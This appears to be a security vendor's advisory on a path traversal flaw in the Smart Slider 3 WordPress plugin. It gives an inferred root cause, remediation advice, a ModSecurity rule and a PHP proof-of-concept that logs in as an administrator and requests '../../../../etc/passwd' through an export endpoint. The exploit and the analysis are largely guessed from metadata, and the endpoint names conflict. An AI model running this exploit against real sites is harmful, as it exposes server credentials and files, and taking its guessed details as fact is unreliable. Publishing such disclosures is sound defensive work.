Atomic Edge analysis of CVE-2026-9197 (metadata-based): This vulnerability allows authenticated attackers with administrator-level access to read arbitrary files on the server via path traversal in the Smart Slider 3 plugin for WordPress, specifically through the replaceHTMLImage function. The CVSS score of 4.9 (HIGH confidentiality impact, no integrity or availability impact) reflects the privilege requirement but severe data exposure risk.
Root Cause: Based on the CWE-22 classification and vulnerability description, Atomic Edge research infers that the replaceHTMLImage function processes ‘src’ or ‘srcset’ attributes in exported HTML content without properly sanitizing or validating file paths. The plugin likely passes user-controlled paths to file-reading functions (e.g., file_get_contents, wp_remote_get, or similar) without restricting directory traversal sequences like ‘../’. This is confirmed by the CWE classification as a classic path traversal vulnerability, though no source code diff is available.
Exploitation: An attacker with administrator privileges can exploit this by crafting an HTML export payload where the ‘src’ or ‘srcset’ attribute contains a path traversal sequence (e.g., ../../../../etc/passwd). The vulnerable function replaceHTMLImage is likely triggered via an AJAX handler like ‘smart_slider3_export_action’ or similar export-related endpoint exposed under /wp-admin/admin-ajax.php. The attacker sends a POST request with the action parameter set to the export handler and a parameter containing the malformed image source. The plugin processes this and returns the contents of the traversed file in the response.
Remediation: The patched version (3.5.1.37) likely implements proper path validation by restricting file reads to within the plugin’s allowed directories (e.g., using realpath() to resolve symbolic links and checking the path against an allowlist or document root). Developers should sanitize the ‘src’ and ‘srcset’ parameters by rejecting any path containing ‘..’ or by using WordPress’s built-in file system functions (e.g., WP_Filesystem) with strict path scoping.
Impact: Successful exploitation allows an administrator to read arbitrary files from the WordPress server, including wp-config.php (database credentials), /etc/passwd (system users), and other sensitive configuration files. This can lead to complete site compromise if combined with other vulnerabilities, though the privilege requirement limits the attack surface to authenticated administrators.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-9197 (metadata-based)
# Blocks path traversal attempts via 'src' or 'srcset' parameters sent to Smart Slider 3 AJAX export handler
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:20261997,phase:2,deny,status:403,chain,msg:'CVE-2026-9197 Smart Slider 3 Path Traversal via src/srcset',severity:'CRITICAL',tag:'CVE-2026-9197'"
SecRule ARGS_POST:action "@streq smart_slider_export" "chain"
SecRule ARGS_POST:data "@rx ../" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9197 - Smart Slider 3 <= 3.5.1.36 - Authenticated (Administrator+) Path Traversal to Arbitrary File Read via 'src'/'srcset' Attribute in HTML Export
/**
* Exploit: Uses administrator session to trigger path traversal via HTML export functionality.
* Assumes vulnerable plugin version and AJAX action 'smart_slider_export'.
* Adjust $target_url, $username, $password accordingly.
*/
$target_url = 'http://example.com'; // Change to target WordPress URL
$username = 'admin'; // Administrator credentials
$password = 'admin_password';
$cookie_file = tempnam(sys_get_temp_dir(), 'cve9197_cookie');
// Step 1: Authenticate as administrator
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $login_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($login_data),
CURLOPT_COOKIEJAR => $cookie_file,
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
));
curl_exec($ch);
curl_close($ch);
// Step 2: Trigger file read via path traversal in exported HTML
// Assumed AJAX action 'smart_slider_export' and parameter 'data' containing SVG/HTML with src attribute.
// The vulnerable replaceHTMLImage function processes images in exported sliders.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$payload = array(
'action' => 'smart_slider_export',
'data' => json_encode(array(
'slides' => array(
array(
'layers' => array(
array(
'type' => 'image',
'src' => '../../../../etc/passwd', // Path traversal to read arbitrary file
'srcset' => ''
)
)
)
)
))
);
$ch = curl_init();
curl_setopt_array($ch, array(
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_COOKIEFILE => $cookie_file,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
));
$response = curl_exec($ch);
curl_close($ch);
// Step 3: Output response (should contain file contents or error)
echo "Server response:n" . $response . "n";
// Clean up
unlink($cookie_file);
?>
